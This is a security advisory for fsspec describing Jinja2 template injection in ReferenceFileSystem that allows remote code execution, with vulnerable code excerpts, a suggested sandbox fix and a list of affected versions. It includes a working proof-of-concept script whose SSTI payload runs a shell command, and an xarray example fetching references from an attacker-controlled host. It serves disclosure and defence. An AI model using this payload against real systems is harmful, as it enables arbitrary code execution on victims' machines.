GHSA-27vj-qcqg-25rc

Suggest an improvement
Source
https://github.com/advisories/GHSA-27vj-qcqg-25rc
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-27vj-qcqg-25rc/GHSA-27vj-qcqg-25rc.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-27vj-qcqg-25rc
Aliases
Published
2026-10-05T22:53:22Z
Modified
2026-10-05T23:00:06Z
Severity
  • 8.8 (High) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H CVSS Calculator
Summary
fsspec: Server-Side Template Injection in ReferenceFileSystem leads to Remote Code Execution
Details

Summary

fsspec.implementations.reference.ReferenceFileSystem parses a "references" JSON document (Kerchunk format) supplied either inline or via a URL. The parser renders fields from this JSON through un-sandboxed jinja2.Template(...).render(...) calls in three locations. An attacker who controls the JSON document — typically by hosting it at a URL that the victim opens with fsspec.filesystem("reference", fo=URL) or via xarray.open_dataset("reference://...") — achieves arbitrary Python code execution on the victim machine, before any data is read.

This mirrors the pattern of CVE-2024-34359 in llama-cpp-python, where externally-sourced template strings were rendered with the default unrestricted Jinja2 environment.

Affected versions

All versions of fsspec from 0.9.0 onward (vulnerable code introduced in commit 0fb8d56b684ee74ad9ad4587fd560bde1b116450, 2021-03-12). Confirmed on the latest released version 2025.10.0.

Affected sinks

All in fsspec/implementations/reference.py:

Sink Location Trigger
A — _process_references1._render_jinja lines 1016-1018 simple_templates=False and a refs entry contains {{
B — _process_templates (lambda) lines 1043-1053 templates dict has values containing {{, invoked later via render context
C — _process_gen lines 1075-1083 references JSON contains a gen array (always reached, regardless of simple_templates)

Sink C is the most severe: it is reached unconditionally for any references JSON that includes a gen field.

The vulnerable code:

# fsspec/implementations/reference.py
# Sink A
@lru_cache(1000)
def _render_jinja(u):
    return jinja2.Template(u).render(**self.templates)  # <- unsandboxed

# Sink B
def _process_templates(self, tmp):
    ...
    for k, v in tmp.items():
        if "{{" in v:
            import jinja2
            self.templates[k] = lambda temp=v, **kwargs: jinja2.Template(
                temp                                       # <- unsandboxed
            ).render(**kwargs)

# Sink C
def _process_gen(self, gens):
    ...
    for pr in products:
        import jinja2
        key = jinja2.Template(gen["key"]).render(**pr, **self.templates)        # <- unsandboxed
        url = jinja2.Template(gen["url"]).render(**pr, **self.templates)        # <- unsandboxed
        if ("offset" in gen) and ("length" in gen):
            offset = int(jinja2.Template(gen["offset"]).render(...))            # <- unsandboxed
            length = int(jinja2.Template(gen["length"]).render(...))            # <- unsandboxed

Proof of concept (Sink C, minimal)

Save as poc.py:

import http.server, json, socketserver, threading, time, fsspec
from pathlib import Path

PAYLOAD = "{{ joiner.__init__.__globals__.os.popen('touch /tmp/fsspec_pwned_$(whoami)').read() }}"
REF = {
    "version": 1, "templates": {}, "refs": {"x": "x"},
    "gen": [{
        "key": PAYLOAD + "/{{ i }}", "url": "http://example.com/{{ i }}",
        "offset": "0", "length": "0", "dimensions": {"i": [0]},
    }],
}

body = json.dumps(REF).encode()
class H(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200); self.end_headers(); self.wfile.write(body)
    def log_message(self, *a, **kw): pass

srv = socketserver.TCPServer(("127.0.0.1", 0), H)
threading.Thread(target=srv.serve_forever, daemon=True).start()
url = f"http://127.0.0.1:{srv.server_address[1]}/refs.json"

for p in Path("/tmp").glob("fsspec_pwned_*"): p.unlink()
try:
    fsspec.filesystem("reference", fo=url)
except Exception as e:
    print("exception:", e)
srv.shutdown()
time.sleep(0.3)
print("markers:", list(Path("/tmp").glob("fsspec_pwned_*")))

Run:

pip install fsspec aiohttp requests jinja2
python3 poc.py
# → markers: [PosixPath('/tmp/fsspec_pwned_<user>')]

End-to-end via xarray (real-world consumer pathway)

import xarray as xr
ds = xr.open_dataset(
    "reference://",
    engine="zarr",
    backend_kwargs={
        "consolidated": False,
        "storage_options": {
            "fo": "http://attacker.example/refs.json",
            "remote_protocol": "http",
        },
    },
)
# RCE fires before any data is materialised.

Tested on

  • fsspec 2025.10.0, jinja2 3.1.6, Python 3.9, macOS 14
  • fsspec 2025.10.0, jinja2 3.1.6, Python 3.12-slim, Docker Linux

Impact

fsspec.ReferenceFileSystem is the canonical entrypoint for the Kerchunk format, widely used in the Pangeo / Earth-observation / climate data-science ecosystem to provide cloud-optimised views of HDF5 / NetCDF / GRIB archives hosted on object storage.

Realistic attack vectors:

  • A user opens a community-shared Kerchunk catalogue link via xarray/dask.
  • A managed data-science platform (notebook server, batch job runner) ingests user-submitted Kerchunk URLs.
  • A workflow downloads a catalogue from a bucket whose contents have been tampered with (supply chain).

In every case, the victim performs no action beyond opening a "reference filesystem" — there is no documented expectation that a data catalogue can execute arbitrary Python code.

Suggested fix

Replace jinja2.Template(...) with a shared jinja2.sandbox.ImmutableSandboxedEnvironment for all three sinks. This matches the post-incident hardening applied to llama-cpp-python after CVE-2024-34359.

# At module top
def _sandboxed_env():
    import jinja2.sandbox
    env = getattr(_sandboxed_env, "_env", None)
    if env is None:
        env = jinja2.sandbox.ImmutableSandboxedEnvironment()
        _sandboxed_env._env = env
    return env

Then in each sink, replace jinja2.Template(s).render(...) with _sandboxed_env().from_string(s).render(...).

The legitimate Kerchunk template syntax (simple variable substitution like {{ varname }}) continues to work under the sandbox; only the SSTI gadgets (__class__, __init__.__globals__, __subclasses__, etc.) are refused with jinja2.exceptions.SecurityError.

A complete patch is available on request.

Credit

Reported by Dany.A

Database specific
{
    "cwe_ids":  [
        "CWE-1336",
        "CWE-94"
    ],
    "github_reviewed":  true,
    "github_reviewed_at":  "2026-10-05T22:53:22Z",
    "nvd_published_at":  "2026-10-02T17:17:03Z",
    "severity":  "HIGH"
}
References

Affected packages

PyPI / fsspec

Package

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0.9.0
Fixed
2026.6.0

Affected versions

0.*
0.9.0
2021.*
2021.4.0
2021.5.0
2021.6.0
2021.6.1
2021.7.0
2021.8.1
2021.9.0
2021.10.0
2021.10.1
2021.11.0
2021.11.1
2022.*
2022.1.0
2022.2.0
2022.3.0
2022.5.0
2022.7.0
2022.7.1
2022.8.0
2022.8.1
2022.8.2
2022.10.0
2022.11.0
2023.*
2023.1.0
2023.3.0
2023.4.0
2023.5.0
2023.6.0
2023.9.0
2023.9.1
2023.9.2
2023.10.0
2023.12.0
2023.12.1
2023.12.2
2024.*
2024.2.0
2024.3.0
2024.3.1
2024.5.0
2024.6.0
2024.6.1
2024.9.0
2024.10.0
2024.12.0
2025.*
2025.2.0
2025.3.0
2025.3.1
2025.3.2
2025.5.0
2025.5.1
2025.7.0
2025.9.0
2025.10.0
2025.12.0
2026.*
2026.1.0
2026.2.0
2026.3.0
2026.4.0

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-27vj-qcqg-25rc/GHSA-27vj-qcqg-25rc.json"